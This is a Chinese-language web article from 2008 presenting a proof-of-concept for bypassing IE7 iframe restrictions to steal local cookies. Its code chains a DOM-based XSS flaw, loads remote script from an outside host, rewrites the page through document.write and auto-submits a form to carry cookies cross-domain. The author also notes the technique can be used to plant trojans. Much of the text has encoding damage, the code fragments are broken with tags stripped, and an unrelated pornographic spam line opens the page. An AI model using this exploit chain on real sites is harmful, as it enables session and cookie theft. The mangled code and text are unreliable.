欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

突破IE安全限制獲取iframe子框架內(nèi)的本地cookie

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:36:26   作者:佚名   我要評(píng)論
作者:aullik5 今天這篇主要是要講以下這么幾件事情: 1. iframe的限制 2. 突破iframe獲取本地cookie的思路 3. 利用Cross Iframe Trick突破iframe安全限制 我的測(cè)試環(huán)境是: IE 7 (7.0.5730.13) 以下所有的內(nèi)容全部經(jīng)過我在IE7中測(cè)試,是真實(shí)有效的

www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("");
}
http://www.baidu.com/3.html" width="300" height="300" >
---------------------------------- 我是聰明的分割線 -------------------------------------------
它包含了一個(gè)iframe頁面
www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie=" document.cookie);
// iframe proxy: 創(chuàng)建一個(gè)動(dòng)態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' >http://www.b.com/4.js\">";
document.body.appendChild(tt1_4);
---------------------------------- 我是聰明的分割線 -------------------------------------------
3.html是我們的iframe proxy,利用它來完成在www.a.com里執(zhí)行腳本的工作。
www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
// 一個(gè)基于DOM的XSS漏洞
document.write("");
//window.open("http://www.baidu.com/4.html"); 會(huì)帶上cookie
This is 4.html!
http://www.baidu.com/2.html" >
http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg" onload=submitpost4();>
function submitpost4(){ document.forms[0].submit(); }
-->
---------------------------------- 我是聰明的分割線 -------------------------------------------
www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'>http://www.baidu.com/2.html\" >http://himg.baidu.com/sys/portrait/item/26ba61756c6c696b35c504.jpg\" onload=submitpost4();>function submitpost4(){ document.forms[0].submit(); }
---------------------------------- 我是聰明的分割線 -------------------------------------------
4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來新起一個(gè)窗口,從而獲取本地cookie的方法。
www.baidu.com/2.html的代碼很簡(jiǎn)單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("2.html cookie=" document.cookie);
---------------------------------- 我是聰明的分割線 -------------------------------------------
在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動(dòng)態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠(yuǎn)程加載www.b.com/4.js
4.js動(dòng)態(tài)調(diào)用 www.a.com/1.html 里的 tt1() 函數(shù),并篡改參數(shù),寫入一個(gè)form,利用js動(dòng)態(tài)提交該表單,這時(shí)候提交的表單,就自動(dòng)帶上了本地cookie了
整個(gè)過程運(yùn)行結(jié)果如下:
首先訪問 www.a.com/1.html



可以看到這個(gè)時(shí)候在www.baidu.com/3.html 中彈出的是session cookie,可以對(duì)比下我們最后結(jié)果里彈出的本地cookie接下來,3.html將構(gòu)造iframe proxy



可以看到,由于www.a.com/4.html里的XSS漏洞被利用,所以遠(yuǎn)程js被加載了



遠(yuǎn)程js繼續(xù)調(diào)用top1.tt1(); 這個(gè)函數(shù),同時(shí)篡改它的參數(shù),參數(shù)如上圖顯示。接下來將把這個(gè)參數(shù)注入到tt1()函數(shù)中,由于tt1()函數(shù)中存在一個(gè) document.write,所以它將改寫頁面,并且構(gòu)造一個(gè)form表單,重新提交到www.baidu.com/2.html



由于在form表單中,利用了img標(biāo)簽的onload事件,使得img一加載就提交form,所以很快就自動(dòng)獲得了cookie。
可以看到,此時(shí)獲取的,就是www.baidu.com/2.html 保存的本地cookie!
需要注意的是,在4.html中,即使把 top.tt1()改成了 document.write(),也無法獲取本地cookie,想來應(yīng)該還是因?yàn)閕frame限制的問題。
以上,就是利用Cross Iframe Trick的技巧來突破iframe限制的方法,其意義在于跨頁面攻擊、跨域攻擊、突破iframe的限制,等等,大大豐富了腳本攻擊的方法。
不知道我這篇是不是又在白寫,如果有人能把我給出的POC好好調(diào)一遍,會(huì)發(fā)現(xiàn)這里面還是很有趣的。
最后,再講講,有的人可能會(huì)提出疑問,能構(gòu)造iframe proxy,是否可以直接用來掛馬?
是的,當(dāng)然可以直接用來掛馬,但是掛馬卻是更加復(fù)雜的一種攻擊,要求有好的瀏覽器漏洞,好的木馬,能夠?qū)怪鲃?dòng)防御的shellcode,同時(shí),根據(jù)需要獲取的數(shù)據(jù)不同,有時(shí)候掛馬也并不能達(dá)到目的。比如,攻擊的目標(biāo)是網(wǎng)站里的數(shù)據(jù),如果網(wǎng)站有SSL保護(hù),有防鍵盤記錄一類的程序,則會(huì)更加麻煩。

相關(guān)文章

最新評(píng)論